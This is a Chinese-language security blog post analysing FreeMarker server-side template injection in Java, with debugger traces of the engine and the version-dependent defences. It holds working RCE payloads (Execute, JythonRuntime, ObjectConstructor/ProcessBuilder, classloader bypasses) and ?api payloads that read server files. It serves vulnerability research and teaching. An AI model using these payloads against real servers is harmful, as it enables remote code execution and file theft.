Loading

java-SSTI 模板注入

java-SSTI 模板注入

简介

模板注入比较常见的就是 freemarker 、Thymeleaf 与 velocity,顾名思义,我们肯定是可以控制模板的内容(1. 服务器将用户传入的参数错误处理,当作了模板内容 2. 我们可以上传 .ftl文件,让服务器加载解析),然后然服务器加载我们控制的恶意模板,从而实现命令执行。

FreeMarker

这里是官方文档: FreeMarker 中文官方参考手册

FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML 网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件。

模板编写为 FreeMarker Template Language (FTL)。它是简单的,专用的语言。

其实官方文档介绍的已经很清楚了,简单来说 freemarker 这种模板技术,就是解决了繁琐的文本输出,同时也体现了 MVC 的视图和业务分离的思想,而 jsp 太过繁琐,而且每次修改 JSP 都需要服务器重新编译为 Servlet 类,频繁更新会导致性能损耗(尤其在高并发场景)。

FreeMarker 中几个概念:

  • ${...}: FreeMarker 将会输出真实的值来替换大括号内的表达式,这样的表达式被称为 interpolation(插值,译者注)。
  • FTL 标签 (FreeMarker 模板的语言标签): FTL 标签和 HTML 标签有一些相似之处,但是它们是 FreeMarker 的指令,是不会在输出中打印的。 这些标签的名字以 # 开头。(用户自定义的 FTL 标签则需要使用 @ 来代替 #,但这属于更高级的话题了。)
  • 注释: 注释和 HTML 的注释也很相似, 但是它们使用 <#-- and --> 来标识。 不像 HTML 注释那样,FTL 注释不会出现在输出中(不出现在访问者的页面中), 因为 FreeMarker 会跳过它们。

其他任何不是 FTL 标签,插值或注释的内容将被视为静态文本, 这些东西不会被 FreeMarker 所解析;会被按照原样输出出来。

入门

创建一个 maven 项目,导入 freemarker 的依赖

<dependency>
    <groupId>org.freemarker</groupId>
    <artifactId>freemarker</artifactId>
    <version>2.3.31</version>
</dependency>

hello.ftl

创建 ftl 模板

<html>
    <head>
        <meta charset="utf-8">
        <title>Freemarker入门</title>
    </head>
    <body>
        <#--我只是一个注释,我不会有任何输出 -->
            ${name}你好!
            ${message}
     </body>
</html>

freemarkDemo.java

用 java 代码,操作模板,填充值,输出为 html

package com.lingx5;

import freemarker.template.Configuration;
import freemarker.template.Template;
import java.io.File;
import java.io.FileWriter;
import java.util.HashMap;
public class freemarkDemo {
    public static void main(String[] args) throws Exception {
        // 创建FreeMarker配置对象
        Configuration configuration = new Configuration(Configuration.getVersion());
        // 设置模板文件所在的目录
        configuration.setDirectoryForTemplateLoading(new File("src/main/resources"));
        // 设置默认编码格式
        configuration.setDefaultEncoding("utf-8");
        // 获取指定的模板文件
        Template template = configuration.getTemplate("hello.ftl");
        // 创建数据模型
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("name","lingx5");
        hashMap.put("message","我是freemarker入门demo");
        // 创建文件写入器
        FileWriter out = new FileWriter("src/main/resources/hello.html");
        // 处理模板并生成输出文件
        template.process(hashMap,out);
        // 关闭文件写入器
        out.close();

    }
}

最终结构

image-20250807111351384

执行 freemarkDemo,发现输出的 hello.html 填充好了我们想要的值

image-20250807111737818

语法

freemarker 有自己的语言 FreeMarker Template Language (FTL) , 提供了大量的 内建函数指令 这些为 freemarker 提供了强大的功能。

我们来看一个最简单的赋值指令 <#assign name1=value1 name2=value2 ... nameN=valueN>

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
<#assign speek="hello who are you ?" />
${speek}
</body>
</html>

再次执行 freemarkDemo , 看到我们再模板定义的变量使用了

image-20250807112903613

执行流程

getTemplate 解析

在我们程序的 getTemplate 处打断点

image-20250807150829857

会来到 freemarker.template.Template 的构造方法 ,进行初始化

<init>:247, Template (freemarker.template)
loadTemplate:548, TemplateCache (freemarker.cache)
getTemplateInternal:439, TemplateCache (freemarker.cache)
getTemplate:292, TemplateCache (freemarker.cache)
getTemplate:2836, Configuration (freemarker.template)
getTemplate:2685, Configuration (freemarker.template)
main:15, freemarkDemo (com.lingx5)

内部初始化了 freemarker.core.FMParser,并调用 freemarker.core.FMParser#Root 对模板的混合内容进行分词

image-20250807151902026

步入 freemarker.core.FMParser#Root 方法,调用 freemarker.core.FMParser#MixedContentElements 对模板的整体进行处理

image-20250807152502058

步入 freemarker.core.FMParser#MixedContentElements 内部有大量的 switch case

image-20250807152917719

主要的

elem = this.FreemarkerDirective(); // 如果是 <#if>, <#list> 等指令
break;
...
elem = this.PCData();              // 如果是纯文本 (Parsed Character Data)
break;
...
elem = this.StringOutput();        // 如果是 ${...}
break;
...
elem = this.NumericalOutput();     // 如果是 #{...}

随后收集到 TemplateElement[] childBuffer 数组中

image-20250807153358754

分为了不同的内容

process 处理

后续就要调用 process 处理了

image-20250807153518326

步入

image-20250807143531815

先调用 freemarker.template.Template#createProcessingEnvironment 创建一个用于处理模板的运行时环境(Processing Environment), 把我的 HashMap 进行了封装(从原始 HashMap 封装为模板能识别的 TemplateModel 最后强转为 TemplateHashModel

image-20250807150017656

然后回到 freemarker.template.Template#process 继续调用 freemarker.core.Environment#process

内部调用 freemarker.core.Environment#visit 方法

image-20250807154113295

步入 visit

image-20250807154359306

只是 element 是 mixedContent 类型,accept 就是拿到 前面解析分割好的 childBuffer 数组

image-20250807154605816

image-20250807154637269

每种类型都对应不同的 accept 接口

image-20250807155052929

后续是一个循环执行 visit

image-20250807154758599

到了 ${name} 会走 freemarker.core.DollarVariable#accept 方法,填充值

image-20250807160049457

基本流程就是这样

漏洞成因

了解了流程之后,我们就可以推测 RCE 漏洞,可能就是某个 TemplateElement 类实现的 accept 接口,可以执行 java 类中的操作,才让黑客有可乘之机。其实讲到这里就感觉与 ognl 很相似,在 ognl 中 有各种语法树 AST 实现的 setValue 和 getValue 方法

freemarker2.3.22 版本后的 api_and_has_api 内建函数 以及 new 内建函数 以及 eval 可以调用内部的方法,实现命令执行

来自官方的解释

api, has_api

FreeMarker 版本 从 2.3.22 版本开始存在,且 api 函数默认禁用。

如果 value 本身支持这个额外的特性, value?api 提供访问 value 的 API (通常是 Java API),比如 value?api.someJavaMethod(), 当需要调用对象的 Java 方法时,这种方式很少使用, 但是 FreeMarker 揭示的 value 的简化视图的模板隐藏了它,也没有相等的内建函数。 例如,当有一个 Map,并放入数据模型 (使用默认的对象包装器),模板中的 myMap.myMethod() 基本上翻译成 Java 的 ((Method) myMap.get("myMethod")).invoke(...),因此不能调用 myMethod。如果编写了 myMap?api.myMethod() 来代替,那么就是 Java 中的 myMap.myMethod()

new

这是用来创建一个确定的 TemplateModel 实现变量的内建函数。

? 的左边你可以指定一个字符串, 是 TemplateModel 实现类的完全限定名。 结果是调用构造方法生成一个方法变量,然后将新变量返回。

比如:

<#-- Creates an user-defined directive be calling the parameterless constructor of the class -->
<#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()>
<#-- Creates an user-defined directive be calling the constructor with one numerical argument -->
<#assign word_wrapp_narrow = "com.acmee.freemarker.WordWrapperDirective"?new(40)>

更多关于构造方法参数被包装和如何选择重载的构造方法信息, 请阅读: 程序开发指南/其它/Bean 的包装

该内建函数可以是出于安全考虑的, 因为模板作者可以创建任意的 Java 对象,只要它们实现了 TemplateModel 接口,然后来使用这些对象。 而且模板作者可以触发没有实现 TemplateModel 接口的类的静态初始化块。你可以(从 2.3.17 版开始)使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问。 参考 Java API 文档来获取详细信息。如果允许并不是很可靠的用户上传模板, 那么你一定要关注这个问题。

eval

这个函数求一个作为 FTL 表达式的字符串的值。比如 "1+2"?eval 返回数字 3。

在调用 eval 的地方, 已被求值的表达式看到相同的变量(比如本地变量)是可见的。 也就是说,它的行为就像在 s?eval 处, 你有 s。除了,指向在 s 之外创建的循环变量,它不能使用 循环变量内建函数

配置设置项影响来自 Configuration 对象表达式解析(比如语法),而不是来自调用 eval 的的模板。

当我们可以控制模板内容时,可以利用这些内建函数,实现命令执行

漏洞分析

在 FreeMarker 依赖包中,有可以执行命令的类

  • freemarker.template.utility.JythonRuntime 执行 python 代码
  • freemarker.template.utility.Execute 执行本地命令

Execute

我们先看最简单的 Execute

freemarker.template.utility.Execute 实现了 TemplateMethodModel

image-20250807173943797

而 TemplateMethodModel 有继承了 TemplateModel 且这个接口要实现 exec 方法

image-20250807174031375

也就是说我们可以直接 new freemarker.template.utility.Execute

POC1 Execute

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
<#assign speek="hello who are you ?" />
${speek}

<#assign evil="freemarker.template.utility.Execute"?new()>
${evil("calc")}
</body>
</html>

此时我们在执行 freemarkDemo ,成功弹出了计算器

image-20250807174330233

Execute 执行流程

accept()

直接看 accept 方法

image-20250807181856431

步入,会来到 freemarker.core.Assignment#accept

TemplateElement[] accept(Environment env) throws TemplateException {
    Environment.Namespace namespace;
    // 先获取namespace,确定变量的作用域
    if (this.namespaceExp == null) {
        switch (this.scope) {
            case 1:
                namespace = env.getCurrentNamespace();
                break;
            case 2:
                namespace = null;
                break;
            case 3:
                namespace = env.getGlobalNamespace();
                break;
            default:
                throw new BugException("Unexpected scope type: " + this.scope);
        }
    }
}

valueExp 执行 eval, 计算 value 的值 , assign 是赋值语句

image-20250808090451915

_eval()

步入 freemarker.core.Expression#eval 判断是不是常量, 不是常量就 执行 _eval() 方法

image-20250808090705816

步入 freemarker.core.Expression#_eval 方法 ,也有很多实现,这是每种表达式和内建函数要重写这个方法, 来计算表达式的具体值

image-20250808092851311

我们进入的是 freemarker.core.MethodCall#_eval 方法 ,执行表达式 freemarker.template.utility.Execute"?new()

image-20250808093952841

来到 NewBI 的 exec 创建实例

image-20250808094118558

步入 freemarker.ext.beans.BeansWrapper#newInstance , 获取构造方法,创建实例

image-20250808094237941

其实到这里 我们也可以看的出来,new 这个内建函数,虽说是创建 TemplateModel 类的,但是这里使用 newInstance()时并没有检测 ctor 是否为这个类。

也就是说即使不是 TemplateModel 类的子类,也会初始化,进而执行 static 代码块

后续

在 exec 后续的 wrap 中才进行强转

image-20250808095046172

步入 freemarker.template.DefaultObjectWrapper#wrap 根据类型,强转。但是现在强转失败,对我们也没什么影响,我们想要的恶意 static 已经执行了

image-20250808095137866

然后就到了下一个 调用的表达式 ${evil("calc")}

image-20250808095513929

image-20250808095557247

看一下调用栈

exec:75, Execute (freemarker.template.utility)
_eval:62, MethodCall (freemarker.core)
eval:101, Expression (freemarker.core)
calculateInterpolatedStringOrMarkup:100, DollarVariable (freemarker.core)
accept:63, DollarVariable (freemarker.core)
visit:347, Environment (freemarker.core)
visit:353, Environment (freemarker.core)
process:326, Environment (freemarker.core)
process:383, Template (freemarker.template)
main:20, freemarkDemo (com.lingx5)

成功执行

image-20250808095751500

Payload

安全限制

FreeMarker 官方提供了防御方案,使用 payload 注意

  1. freemarker.core.TemplateClassResolver 定义了三种模式

UNRESTRICTED_RESOLVER :简单地调用 ClassUtil.forName(String)

SAFER_RESOLVER :和第一个类似,但禁止解析 ObjectConstructor , Executefreemarker.template.utility.JythonRuntime

ALLOWS_NOTHING_RESOLVER :禁止解析任何类。

  1. 前面 ?api 提到的 unsafeMethods
  2. freemarker 2.3.30 新加入的 memberAccessPolicy

三种策略的拦截流程

┌──────────────────────────────────────────────────────────
│ 用户在模板中写下某个表达式                              
│   ① 访问普通字段 / 调用普通方法              
│   ② 或使用 ?new                     
└──────────────────────────────────────────────────────────
                               │
                               ▼
┌──────────────────────────────────────────────────────────
│ ① MemberAccessPolicy(2.3.30+)检查                     
│   ├─ 默认 DefaultMemberAccessPolicy                      
│   ├─ 拦高危反射成员、ProtectionDomain            
│   └─ 不通过 → 抛 TemplateModelException                  
└──────────────────────────────────────────────────────────
                               │通过
                               ▼
┌──────────────────────────────────────────────────────────
│ ② BeansWrapper 暴露级别 exposureLevel                    
│   (EXPOSE_SAFE / _PROPS_ONLY / _NOTHING / _ALL)        
│   ├─ EXPOSE_SAFE  → 再对照 unsafeMethods.properties      
│   ├─ EXPOSE_ALL   → 不走黑名单,直接允许                 
│   └─ 其余级别按规则限制                                  
│   ─ 如果成员被拒绝 → 抛 TemplateModelException           
└──────────────────────────────────────────────────────────
                               │通过
                               ▼
┌──────────────────────────────────────────────────────────
│ ③ 若表达式包含 ?new 或 T("…")                            
│      → 进入 TemplateClassResolver                       
│   ├─ UNRESTRICTED_RESOLVER  :全放行                     
│   ├─ SAFER_RESOLVER (默认) :黑名单拦 ObjectConstructor  
│   │   Execute、ProcessBuilder、ClassLoader… 等           
│   └─ ALLOWS_NOTHING_RESOLVER:全拒绝                     
│   ─ 不通过 → 抛 TemplateModelException                   
└──────────────────────────────────────────────────────────
                               │全部通过
                               ▼
┌──────────────────────────────────────────────────────────
│ Java 成员最终被调用 / Class 被实例化                     
└──────────────────────────────────────────────────────────

Execute

刚刚调试的就是这个

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
<#assign speek="hello who are you ?" />
${speek}

<#assign evil="freemarker.template.utility.Execute"?new()>
${evil("calc")}
</body>
</html>

Static

刚刚我们分析 ?new 这个内建函数,说到了 他会先实例化类,执行静态方法,然后才去判断 强转 类型

来试一下这个

evilTest

package com.lingx5;

public class evilTest {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){

        }
    }
}

模版 hello.ftl

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
<#assign speek="hello who are you ?" />
${speek}

<#assign evil="com.lingx5.evilTest"?new()>
</body>
</html>

虽然报错了,但还是可以执行成功

image-20250808100757371

JythonRuntime

导入 python 依赖

<dependency>
      <groupId>org.python</groupId>
      <artifactId>jython-standalone</artifactId>
      <version>2.7.3</version>
</dependency>

payload

<#assign evil="freemarker.template.utility.JythonRuntime"?new()><@evil>import os;os.system("calc")</@evil>

成功执行

image-20250808174739712

ObjectConstructor

payload

<#assign evil="freemarker.template.utility.ObjectConstructor"?new()>
${evil("freemarker.template.utility.Execute")("calc")}
<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")> 
<#assign field=clazz?api.getField("GSON")> 
<#assign gson=field?api.get(null)> 
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> 
${ex("calc"")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}

分析一下

freemarker.template.utility.ObjectConstructor

public class ObjectConstructor implements TemplateMethodModelEx {
    public ObjectConstructor() {
    }

    public Object exec(List args) throws TemplateModelException {
        if (args.isEmpty()) {
            throw new TemplateModelException("This method must have at least one argument, the name of the class to instantiate.");
        } else {
            String classname = args.get(0).toString();
            Class cl = null;

            try {
                cl = ClassUtil.forName(classname);
            } catch (Exception e) {
                throw new TemplateModelException(e.getMessage());
            }

            BeansWrapper bw = BeansWrapper.getDefaultInstance();
            Object obj = bw.newInstance(cl, args.subList(1, args.size()));
            return bw.wrap(obj);
        }
    }
}

从这个类实现的 exec 方法,也不难看出他有创建类的能力,本质上等价于 ?new 内置函数,初始化出类后,最终在 freemarker.ext.util.ModelCache#getInstance 进行 TemplateModle 类型转换

public TemplateModel getInstance(Object object) {
    if (object instanceof TemplateModel) {
        return (TemplateModel)object;
    } else if (object instanceof TemplateModelAdapter) {
        return ((TemplateModelAdapter)object).getTemplateModel();
    } else if (this.useCache && this.isCacheable(object)) {
        TemplateModel model = this.lookup(object);
        if (model == null) {
            model = this.create(object);
            this.register(model, object);
        }

        return model;
    } else {
        return this.create(object);
    }
}

利用这个类同样可以实现创建任意类对象

也是可以实现命令执行的

image-20250812090509293

ClassLoader RCE

在 2.3.30 及以后的版本中,引入了 memberAccessPolicy 策略,禁用了 protectionDomain 获取 classLoader,所以关于 classLoader 的 payload 只适用于 2.3.30 以下

image-20250812165450262

在 BeanWrapper 中加载拦截

image-20250813160257437

POC1 不适用

<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")> 
<#assign field=clazz?api.getField("GSON")> 
<#assign gson=field?api.get(null)> 
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> 
${ex("calc")}

这个 payload 的本尊来自 In-depth Freemarker Template Injection - Ackcent 这篇文章,APPsec 团队在利用 freemarker ssti 模板注入的过程中,通过对 jdk 文档的解读,发现可以读取目标系统文件,通过对系统文件的分析,找到了一个 ClassExposingGSON 类 定义了 public static final Gson GSON 的变量,加以利用实现RCE,所以这个payload并不通用,我们可以学习思路

object 为任意 java 对象(从 java 代码中传递过来的)

?api 运用介绍

为了更好的理解 ?api 这个内建函数,我们先来看一个例子

这里用的 freemarker 的版本为 2.3.22

创建 User 一个类

package com.lingx5;

public class User {
    public User(String username) {
        this.username = username;
    }
    public String username;

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }
}

给模板传入 User 对象

image-20250812100556983

模板 hello.ftl

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
<#assign speek="hello who are you ?" />
<#assign str="Hello World">
${user?api.getUsername()}
</body>
</html>

运行,看到成功从 java 对象 user 中执行了 getUsername() 方法

image-20250812100710418

要使用 ?api 这个内建函数,我们就必须有一个已知的,从 java 代码中传过来的 java 对象,这一点条件还是比较苛刻的。

而且 官方给 ?api 加了一堆用于恶意操作的黑名单 在 freemarker\ext\beans\unsafeMethods.txt 中,在 freemarker.ext.beans.UnsafeMethods#createUnsafeMethodsSet 方法中加载

image-20250812111112302

?api 的执行过程中判断

image-20250812111229021

调用栈

at freemarker.ext.beans.UnsafeMethods.createUnsafeMethodsSet(UnsafeMethods.java:44)
at freemarker.ext.beans.UnsafeMethods.<clinit>(UnsafeMethods.java:34)
at freemarker.ext.beans.ClassIntrospector.isAllowedToExpose(ClassIntrospector.java:539)
at freemarker.ext.beans.ClassIntrospector.addPropertyDescriptorToClassIntrospectionData(ClassIntrospector.java:401)
at freemarker.ext.beans.ClassIntrospector.addBeanInfoToClassIntrospectionData(ClassIntrospector.java:312)
at freemarker.ext.beans.ClassIntrospector.createClassIntrospectionData(ClassIntrospector.java:274)
at freemarker.ext.beans.ClassIntrospector.get(ClassIntrospector.java:244)
at freemarker.ext.beans.BeanModel.<init>(BeanModel.java:114)
at freemarker.ext.beans.BeanModel.<init>(BeanModel.java:104)
at freemarker.ext.beans.StringModel.<init>(StringModel.java:52)
at freemarker.ext.beans.StringModel$1.create(StringModel.java:37)
at freemarker.ext.beans.BeansModelCache.create(BeansModelCache.java:71)
at freemarker.ext.util.ModelCache.getInstance(ModelCache.java:84)
at freemarker.ext.beans.BeansWrapper.wrap(BeansWrapper.java:860)
at freemarker.template.DefaultObjectWrapper.handleUnknownType(DefaultObjectWrapper.java:235)
at freemarker.template.DefaultObjectWrapper.wrap(DefaultObjectWrapper.java:214)
at freemarker.template.WrappingTemplateModel.wrap(WrappingTemplateModel.java:105)
at freemarker.template.DefaultMapAdapter.get(DefaultMapAdapter.java:123)
at freemarker.core.Environment.getGlobalVariable(Environment.java:1491)
at freemarker.core.Environment.getVariable(Environment.java:1477)
at freemarker.core.Identifier._eval(Identifier.java:35)
at freemarker.core.Expression.eval(Expression.java:78)
at freemarker.core.BuiltInsForMultipleTypes$apiBI._eval(BuiltInsForMultipleTypes.java:240)
at freemarker.core.Expression.eval(Expression.java:78

image-20250812111529146

正是因为 ?api 的限制比较严格,所以才有了刚开始的 payload,通过 GSON 这个 json 处理包来绕过

POC2 通用

<#assign classloader=user.class.protectionDomain.classLoader>
<#assign objectWrapper=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign beanWapper=objectWrapper.getField("DEFAULT_WRAPPER").get(null)>
<#assign exec=classloader.loadClass("freemarker.template.utility.Execute")>
${beanWapper.newInstance(exec,null)("calc")}

image-20250812162918045

这主要得益于 ObjectWrapper 接口中有一个变量 DEFAULT_WRAPPER,接口中的变量默认被隐式地指定为 public static final

image-20250812163258104

而 DefaultObjectWrapper 继承了 BeansWrapper

image-20250812163414452

在 BeansWrapper 中 有一个 newInstance() 方法,可以初始化 simpleMethod 类

image-20250812163852757

读文件

同样在 2.3.30 及以后被策略封禁了

image-20250812170543858

POC1 读取类路径文件

<#assign is=user?api.class.getResourceAsStream("../../config.txt")>
FILE:[<#list 0..999999999 as _><#assign byte=is.read()><#if byte == -1><#break></#if> ${byte},</#list>]

值得注意的是: getResourceAsStream 以编译后的文件路径进行识别,且 Class 与 ClassLoader 的有些许区别

Class.getResourceAsStream(String path) : path 不以 / 开头时默认是从此类所在的包下取资源,以 / 开头则是从 ClassPath 根下获取。其只是通过 path 构造一个绝对路径,最终还是由 ClassLoader 获取资源。

Class.getClassLoader.getResourceAsStream(String path) :默认则是从 ClassPath 根下获取,path 不能以’/'开头,最终是由 ClassLoader 获取资源。

image-20250812145447691

执行完成之后就把文件写在了 hello.html 渲染文件中

image-20250812145711368

同样的 从根路径下去读我们可以更改路径为 /config.txt

<#assign is=user?api.class.getResourceAsStream("/config.txt")>
FILE:[<#list 0..999999999 as _><#assign byte=is.read()><#if byte == -1><#break></#if> ${byte},</#list>]

也是可以读取类路径中的文件的

image-20250812154405877

POC2 读取系统文件

<#assign uri=user?api.class.getResource("/").toURI()>
${uri}
<#assign input=uri?api.create("file:/D:/1.txt").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]

image-20250812150820455

参考文章

JAVA 安全之 FreeMark 模板注入刨析-先知社区

Java 模版引擎注入(SSTI)漏洞研究 - 郑瀚 - 博客园

Java FreeMarker 模板引擎注入深入分析 - FreeBuf 网络安全行业门户

Freemarker 模板注入 Bypass | 码农网 (下面文章的中文翻译)

In-depth Freemarker Template Injection - Ackcent (很厉害的绕过思路)

JAVA 安全之 FreeMark 沙箱绕过研究-腾讯云开发者社区-腾讯云

posted @ 2025-08-26 10:14  LingX5  阅读(40)  评论(0)    收藏  举报